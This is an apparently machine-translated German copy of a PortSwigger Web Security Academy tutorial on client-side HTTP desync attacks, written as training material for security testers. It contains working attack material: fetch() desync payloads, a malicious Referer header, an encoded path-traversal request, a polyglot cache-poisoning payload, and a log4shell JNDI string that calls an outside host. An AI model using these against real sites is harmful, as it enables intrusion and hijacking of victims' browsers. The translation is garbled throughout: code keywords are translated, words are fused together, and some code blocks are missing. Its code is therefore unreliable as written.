Klassische Desync- oder Request-Smuggling-Angriffe basieren auf absichtlich fehlerhaften Anfragen, die normale Browser einfach nicht senden. Dadurch werden diese Angriffe auf Websites beschränkt, die eine Front-End-/Back-End-Architektur verwenden. Wie wir jedoch beim Betrachten gelernt habenCL.0-Angriffe, ist es möglich, eine Desynchronisierung zu verursachen, indem vollständig browserkompatible HTTP/1.1-Anfragen verwendet werden. Dies eröffnet nicht nur neue Möglichkeiten für den serverseitigen Anforderungsschmuggel, sondern ermöglicht auch eine ganz neue Klasse von Bedrohungen – clientseitige Desync-Angriffe.
PortSwigger-Forschung
Die Materialien und Labore in diesem Abschnitt basieren aufBrowsergestützte Desync-Angriffe: Eine neue Grenze im HTTP-Anforderungsschmuggelvon PortSwigger Research.
Was ist ein clientseitiger Desync-Angriff?
Ein clientseitiger Desync (CSD) ist ein Angriff, der dazu führt, dass der Webbrowser des Opfers seine eigene Verbindung zur anfälligen Website desynchronisiert. Dies steht im Gegensatz zu regulären Request-Smuggling-Angriffen, die die Verbindung zwischen einem Front-End- und einem Back-End-Server desynchronisieren.
Webserver können manchmal aufgefordert werden, darauf zu antwortenPOST
Anfragen, ohne den Text einzulesen. Wenn sie dem Browser anschließend erlauben, dieselbe Verbindung für weitere Anfragen wiederzuverwenden, führt dies zu einer clientseitigen Desync-Schwachstelle.
Grob gesagt umfasst ein CSD-Angriff die folgenden Phasen:
-
Das Opfer besucht eine Webseite auf einer beliebigen Domain, die bösartiges JavaScript enthält.
-
Das JavaScript veranlasst den Browser des Opfers, eine Anfrage an die anfällige Website zu senden. Dieser enthält in seinem Text ein vom Angreifer gesteuertes Anforderungspräfix, ähnlich wie bei einem normalen Anforderungsschmuggelangriff.
-
Das bösartige Präfix verbleibt auf dem TCP/TLS-Socket des Servers, nachdem dieser auf die erste Anfrage geantwortet hat, wodurch die Verbindung mit dem Browser deaktiviert wird.
-
Das JavaScript löst dann eine Folgeanforderung über die vergiftete Verbindung aus. Dies wird an das schädliche Präfix angehängt und löst eine schädliche Antwort vom Server aus.
Da diese Angriffe nicht auf Parsing-Diskrepanzen zwischen zwei Servern beruhen, bedeutet dies, dass sogar Websites mit nur einem Server angreifbar sein können.
Notiz
Damit diese Angriffe funktionieren, ist es wichtig zu beachten, dass der Ziel-Webserver HTTP/2 nicht unterstützen darf. Clientseitige Desynchronisierungen basieren auf der Wiederverwendung von HTTP/1.1-Verbindungen, und Browser bevorzugen im Allgemeinen HTTP/2, sofern verfügbar.
Eine Ausnahme von dieser Regel besteht, wenn Sie vermuten, dass Ihr beabsichtigtes Opfer über einen Forward-Proxy auf die Website zugreift, der nur HTTP/1.1 unterstützt.
Testen auf clientseitige Desynchronisierungsschwachstellen
Aufgrund der zusätzlichen Komplexität, die es mit sich bringt, sich bei der Durchführung Ihres Angriffs auf einen Browser zu verlassen, ist es wichtig, beim Testen auf clientseitige Desync-Schwachstellen methodisch vorzugehen. Auch wenn es manchmal verlockend sein mag, einen Schritt voraus zu sein, empfehlen wir den folgenden Arbeitsablauf. Dadurch wird sichergestellt, dass Sie Ihre Annahmen zu jedem Element des Angriffs schrittweise bestätigen.
-
Suchen Sie nach potenziellen Desync-Vektoren in Burp.
-
Bestätigen Sie den Desynchronisierungsvektor in Burp.
-
Erstellen Sie einen Proof of Concept, um das Verhalten in einem Browser zu reproduzieren.
-
Identifizieren Sie ein ausnutzbares Gerät.
-
Konstruieren Sie ein funktionierendesausbeutenin Rülpsen.
-
Replizieren Sie dieausbeutenin Ihrem Browser.
BeideRülpsen-Scannerund dasHTTP-Request-SmugglerDie Erweiterung kann Ihnen dabei helfen, einen Großteil dieses Prozesses zu automatisieren. Es ist jedoch hilfreich zu wissen, wie Sie dies manuell tun, um Ihr Verständnis für die Funktionsweise zu festigen.
Suche nach clientseitigen Desynchronisierungsvektoren
Der erste Schritt beim Testen auf clientseitige Desync-Schwachstellen besteht darin, eine Anfrage zu identifizieren oder zu erstellen, die dazu führt, dass der Server die Schwachstelle ignoriertInhaltslänge
Header. Der einfachste Weg, dieses Verhalten zu untersuchen, besteht darin, eine Anfrage zu senden, in der das angegebeneInhaltslänge
ist länger als der eigentliche Körper:
-
Wenn die Anfrage einfach hängen bleibt oder eine Zeitüberschreitung auftritt, deutet dies darauf hin, dass der Server auf die in den Headern versprochenen verbleibenden Bytes wartet.
-
Wenn Sie sofort eine Antwort erhalten, haben Sie möglicherweise einen CSD-Vektor gefunden. Dies erfordert weitere Untersuchungen.
Wie mitCL.0-Schwachstellenhaben wir herausgefunden, dass die wahrscheinlichsten Kandidaten Endpunkte sind, die dies nicht erwartenPOST
Anfragen wie statische Dateien oder Weiterleitungen auf Serverebene.
Alternativ können Sie dieses Verhalten möglicherweise auch dadurch hervorrufen, dass Sie einen Serverfehler auslösen. Bedenken Sie in diesem Fall, dass Sie noch eine Anfrage benötigen, die ein Browser domänenübergreifend sendet. In der Praxis bedeutet das, dass Sie nur die URL, den Text und ein paar Kleinigkeiten wie die manipulieren könnenVerweisen
Kopfzeile und letzter Teil desInhaltstyp
Header.
Referrer: https://evil-user.net/?%00Content-Type: application/x-www-form-urlencoded; Zeichensatz=null, Grenze=x
Möglicherweise können Sie auch Serverfehler auslösen, indem Sie versuchen, oberhalb des Webstammverzeichnisses zu navigieren. Denken Sie daran, dass Browser den Pfad normalisieren, sodass Sie die Zeichen für Ihre Durchlaufsequenz per URL kodieren müssen:
GET /%2e%2e%2f HTTP/1.1
Bestätigen des Desync-Vektors in Burp
Es ist wichtig zu beachten, dass einige sichere Server antworten, ohne auf den Text zu warten, ihn aber dennoch korrekt analysieren, wenn er eintrifft. Andere Server bewältigen das nichtInhaltslänge
richtig, aber schließen Sie die Verbindung sofort nach der Antwort, sodass sie nicht mehr ausgenutzt werden kann.
Um diese herauszufiltern, versuchen Sie, zwei Anfragen über dieselbe Verbindung zu senden, um zu sehen, ob Sie den Hauptteil der ersten Anfrage verwenden können, um die Antwort auf die zweite Anfrage zu beeinflussen, so wie Sie es auch tun würdenErmittlungen wegen Schmuggel von CL.0-Anfragen.
Erstellen eines Proof of Concept in einem Browser
Nachdem Sie mit Burp einen geeigneten Vektor identifiziert haben, ist es wichtig zu bestätigen, dass Sie die Desynchronisierung in einem Browser reproduzieren können.
Browseranforderungen
Um das Risiko einer Störung zu verringern und sicherzustellen, dass Ihr Test den Browser eines beliebigen Opfers so genau wie möglich simuliert:
-
Verwenden Sie einen BrowsernichtProxy-Verkehr über Burp Suite – die Verwendung eines beliebigen HTTP-Proxys kann einen erheblichen Einfluss auf den Erfolg Ihrer Angriffe haben. Wir empfehlen Chrome, da die Entwicklertools einige nützliche Funktionen zur Fehlerbehebung bieten.
-
Deaktivieren Sie alle Browsererweiterungen.
-
Gehen Sie zu der Website, von der aus Sie den Angriff auf das Opfer starten möchten. Diese muss sich in einer anderen Domäne befinden als die anfällige Site und der Zugriff erfolgt über HTTPS. Für unsere Labore können Sie den bereitgestellten Exploit-Server verwenden.
-
Öffnen Sie die Entwicklertools des Browsers und gehen Sie zuNetzwerkTab.
-
Nehmen Sie die folgenden Anpassungen vor:
-
Wähle ausProtokoll aufbewahrenMöglichkeit.
-
Klicken Sie mit der rechten Maustaste auf die Kopfzeilen und aktivieren Sie dieVerbindungs-IDSpalte.
Dadurch wird sichergestellt, dass jede Anfrage, die der Browser sendet, protokolliert wirdNetzwerkzusammen mit Details darüber, welche Verbindung verwendet wurde. Dies kann bei der späteren Fehlerbehebung hilfreich sein.
-
-
Wechseln Sie zumKonsoleRegisterkarte auswählen und verwenden
bringen()
um den Desync-Probe zu replizieren, den Sie in Burp getestet haben. Der Code sollte etwa so aussehen:
fetch('https://vulnerable-website.com/vulnerable-endpoint', { method: 'POST', body: 'GET /hopefully404 HTTP/1.1\r\nFoo: x',// bösartiges PräfixModus: 'no-cors',// stellt sicher, dass die Verbindungs-ID auf der Registerkarte „Netzwerk“ sichtbar istAnmeldeinformationen: 'include'// vergiftet den Verbindungspool „with-cookies“.}).then(() => { location = 'https://vulnerable-website.com/'// verwendet die vergiftete Verbindung})
Zusätzlich zur Angabe derPOST
Beachten Sie, dass wir die folgenden Optionen festgelegt haben:
-
Modus: 'no-cors'
– Dadurch wird sichergestellt, dass die Verbindungs-ID jeder Anfrage auf dem sichtbar istNetzwerkRegisterkarte, die bei der Fehlerbehebung hilfreich sein kann. -
Anmeldeinformationen: 'include'
- Browser verwenden im Allgemeinen separate Verbindungspools für Anfragen mit und ohne Cookies. Diese Option stellt sicher, dass Sie den „with-cookies“-Pool vergiften, was Sie für die meisten Exploits benötigen.
Wenn Sie diesen Befehl ausführen, sollten zwei Anfragen angezeigt werdenNetzwerkTab. Die erste Anfrage sollte die übliche Antwort erhalten. Wenn die zweite Anfrage die Antwort auf das bösartige Präfix (in diesem Fall 404) erhält, bestätigt dies, dass Sie erfolgreich eine Desynchronisierung von Ihrem Browser ausgelöst haben.
Umgang mit Weiterleitungen
Wie bereits erwähnt, sind Anfragen an Endpunkte, die Umleitungen auf Serverebene auslösen, ein häufiger Vektor für clientseitige Desynchronisierungen. Beim Erstellen eines Exploits stellt dies ein kleines Hindernis dar, da Browser dieser Umleitung folgen und so die Angriffssequenz unterbrechen. Zum Glück gibt es eine einfache Lösung.
Durch Einstellen derModus: 'cors'
Option für die erste Anfrage können Sie absichtlich eine auslösenCORSFehler, der den Browser daran hindert, der Weiterleitung zu folgen. Anschließend können Sie die Angriffssequenz durch Aufruf fortsetzenfangen()
anstattDann()
. Zum Beispiel:
fetch('https://vulnerable-website.com/redirect-me', { method: 'POST', body: 'GET /hopefully404 HTTP/1.1\r\nFoo: x', mode: 'cors', credentials: 'include'}).catch(() => { location = 'https://vulnerable-website.com/'})
Der Nachteil dieses Ansatzes besteht darin, dass Sie die Verbindungs-ID nicht sehen könnenNetzwerkDies kann die Fehlerbehebung erschweren.
Ausnutzung clientseitiger Desynchronisierungs-Schwachstellen
Sobald Sie es getan habenhabe einen passenden Vektor gefundenUndbestätigt, dass Sie die Desynchronisierung in einem Browser erfolgreich veranlassen können, können Sie mit der Suche nach ausnutzbaren Gadgets beginnen.
Clientseitige Variationen klassischer Angriffe
Mit diesen Techniken können Sie viele davon ausführengleiche Angriffewie Sie es mit serverseitigem Anforderungsschmuggel können. Das Opfer muss lediglich eine bösartige Website besuchen, die seinen Browser dazu veranlasst, den Angriff zu starten.
LABOR
EXPERTE Clientseitige Desynchronisierung
Clientseitiges Cache-Poisoning
Wir haben zuvor erläutert, wie Sie eine serverseitige Desynchronisierung verwenden könnenVerwandeln Sie eine On-Site-Weiterleitung in eine offene Weiterleitung, wodurch Sie einen JavaScript-Ressourcenimport kapern können. Sie können den gleichen Effekt nur durch eine clientseitige Desynchronisierung erzielen, es kann jedoch schwierig sein, die richtige Verbindung zur richtigen Zeit zu verfälschen. Es ist viel einfacher, stattdessen einen Desync zu verwenden, um den Cache des Browsers zu vergiften. Auf diese Weise müssen Sie sich keine Gedanken darüber machen, welche Verbindung zum Laden der Ressource verwendet wird.
In diesem Abschnitt führen wir Sie durch den Prozess zum Aufbau dieses Angriffs. Dies umfasst die folgenden allgemeinen Schritte:
-
Identifizieren Sie einen geeigneten CSD-Vektorund die Verbindung des Browsers deaktivieren.
-
Verwenden Sie die desynchronisierte Verbindung, um den Cache mit einer Umleitung zu vergiften.
-
Lösen Sie den Ressourcenimport aus der Zieldomäne aus.
-
Liefern Sie eine Nutzlast.
Notiz
Wenn Sie diesen Angriff in einem Browser testen, stellen Sie sicher, dass Sie Ihren Cache zwischen jedem Versuch leeren (Einstellungen > Browserdaten löschen > Zwischengespeicherte Bilder und Dateien).
Den Cache mit einer Weiterleitung vergiften
Sobald Sie es getan habeneinen CSD-Vektor gefundenUndbestätigt, dass Sie es in einem Browser replizieren können, müssen Sie einen geeigneten findenUmleitungs-Gadget. Danach ist es ziemlich einfach, den Cache zu vergiften.
Optimieren Sie zunächst Ihren Proof of Concept, sodass das geschmuggelte Präfix eine Weiterleitung zu der Domain auslöst, in der Sie Ihre bösartige Nutzlast hosten. Als nächstes ändern Sie die Folgeanfrage in eine direkte Anfrage für die Ziel-JavaScript-Datei.
Der resultierende Code sollte etwa so aussehen:
Dadurch wird der Cache vergiftet, allerdings mit einer unbegrenzten Weiterleitung zurück zu Ihrem Skript. Sie können dies bestätigen, indem Sie das Skript in einem Browser anzeigen und studierenNetzwerkRegisterkarte in den Entwicklertools.
Notiz
Sie müssen die Folgeanfrage über eine Top-Level-Navigation zur Zieldomäne auslösen. Aufgrund der Art und Weise, wie Browser ihren Cache partitionieren, wird eine domänenübergreifende Anfrage ausgegebenbringen()
wird den falschen Cache vergiften.
Auslösen des Ressourcenimports
Das Opfer in eine Endlosschleife zu schicken, kann ein wenig irritierend sein, ist aber kein großer Exploit. Jetzt müssen Sie Ihr Skript weiterentwickeln, damit der Browser, wenn er zurückkehrt, nachdem er seinen Cache bereits vergiftet hat, zu einer Seite auf der anfälligen Site navigiert wird, die den Ressourcenimport auslöst. Dies lässt sich leicht erreichen, indem Sie bedingte Anweisungen verwenden, um unterschiedlichen Code auszuführen, je nachdem, ob das Browserfenster Ihr Skript bereits angezeigt hat.
Wenn der Browser versucht, die Ressource auf der Zielseite zu importieren, verwendet er seinen vergifteten Cache-Eintrag und wird ein drittes Mal auf Ihre schädliche Seite zurückgeleitet.
Lieferung einer Nutzlast
Zu diesem Zeitpunkt haben Sie den Grundstein für einen Angriff gelegt, aber die letzte Herausforderung besteht darin, herauszufinden, wie eine potenziell schädliche Nutzlast bereitgestellt werden kann.
Zunächst lädt der Browser des Opfers Ihre schädliche Seite als HTML und führt das verschachtelte JavaScript im Kontext Ihrer eigenen Domain aus. Wenn es schließlich versucht, die JavaScript-Ressource in die Zieldomäne zu importieren und auf Ihre schädliche Seite umgeleitet wird, werden Sie feststellen, dass das Skript nicht ausgeführt wird. Dies liegt daran, dass Sie immer noch HTML bereitstellen, wenn der Browser JavaScript erwartet.
Für einen tatsächlichen Exploit benötigen Sie eine Möglichkeit, einfaches JavaScript vom selben Endpunkt aus bereitzustellen und gleichzeitig sicherzustellen, dass dies erst in dieser letzten Phase ausgeführt wird, um eine Beeinträchtigung der Setup-Anfragen zu vermeiden.
Ein möglicher Ansatz besteht darin, eine mehrsprachige Nutzlast zu erstellen, indem der HTML-Code in JavaScript-Kommentare eingeschlossen wird:
alarm(1);/**/
Wenn der Browser die Seite als HTML lädt, führt er nur das JavaScript in aus
Stichworte. Wenn es dies schließlich in einem JavaScript-Kontext lädt, wird es nur das ausführenAlarm()
Nutzlast, der Rest des Inhalts wird als willkürlicher Entwicklerkommentar behandelt.
LABOR
EXPERTE Browser-Cache-Poisoning durch clientseitige Desynchronisierung
Weitere Informationen darüber, wie wir diese Sicherheitslücke in freier Wildbahn gefunden haben, finden Sie hierBrowsergestützte Desync-Angriffe: Eine neue Grenze im HTTP-Anforderungsschmuggelvon PortSwigger Research.
Pivot-Angriffe gegen die interne Infrastruktur
Bei den meisten serverseitigen Desync-Angriffen werden HTTP-Header auf eine Weise manipuliert, die nur mit Tools wie Burp Repeater möglich ist. Beispielsweise ist es nicht möglich, den Browser einer anderen Person dazu zu bringen, eine Anfrage mit einer log4shell-Nutzlast im zu sendenUser-Agent
Header:
GET / HTTP/1.1Host: vulnerable-website.comBenutzeragent: ${jndi:ldap://x.oastify.com}
Dies bedeutet, dass diese Angriffe normalerweise auf Websites beschränkt sind, auf die Sie direkt zugreifen können. Wenn die Website jedoch anfällig für clientseitige Desynchronisierungen ist, können Sie möglicherweise den gewünschten Effekt erzielen, indem Sie den Browser eines Opfers dazu veranlassen, die folgende Anfrage zu senden:
POST /vulnerable-endpoint HTTP/1.1Host: vulnerable-website.comUser-Agent: Mozilla/5.0 etc.Content-Length: 86GET / HTTP/1.1Host: vulnerable-website.comUser-Agent: ${jndi:ldap:// x.oastify.com}
Da alle Anfragen vom Browser des Opfers stammen, ist es möglich, Angriffe gegen jede Website auszurichten, auf die das Opfer Zugriff hat. Dazu gehören Websites, die sich in vertrauenswürdigen Intranets befinden oder hinter IP-basierten Einschränkungen verborgen sind. Einige Browser arbeiten an Abhilfemaßnahmen für diese Art von Angriffen, diese werden jedoch wahrscheinlich nur teilweise abgedeckt.
So verhindern Sie clientseitige Desynchronisierungsschwachstellen
Einige allgemeine Maßnahmen, die Sie ergreifen können, um clientseitige Desynchronisierungsschwachstellen und andere Formen von Desynchronisierungsangriffen zu verhindern, finden Sie unterSo verhindern Sie Schwachstellen beim Schmuggel von HTTP-Anfragen.
Was als nächstes?
Du hast davon erfahrenCL.0UndCSDAngriffe, aber es gibt noch einen weiteren potenziellen Desynchronisierungsvektor, der sowohl serverseitige als auch clientseitige Exploits auf Websites ermöglichen kann, die zunächst sicher erscheinen. Weitere Informationen finden Sie unterPausenbasierte Desynchronisierungs-Schwachstellen LABOR
Registrieren Sie sich kostenlos, um Ihren Lernfortschritt zu verfolgen
-
Üben Sie die Ausnutzung von Schwachstellen an realistischen Zielen.
-
Zeichnen Sie Ihren Fortschritt vom Lehrling zum Experten auf.
-
Sehen Sie, welchen Platz Sie in unserer Hall of Fame einnehmen.
Sie haben bereits ein Konto?Hier anmelden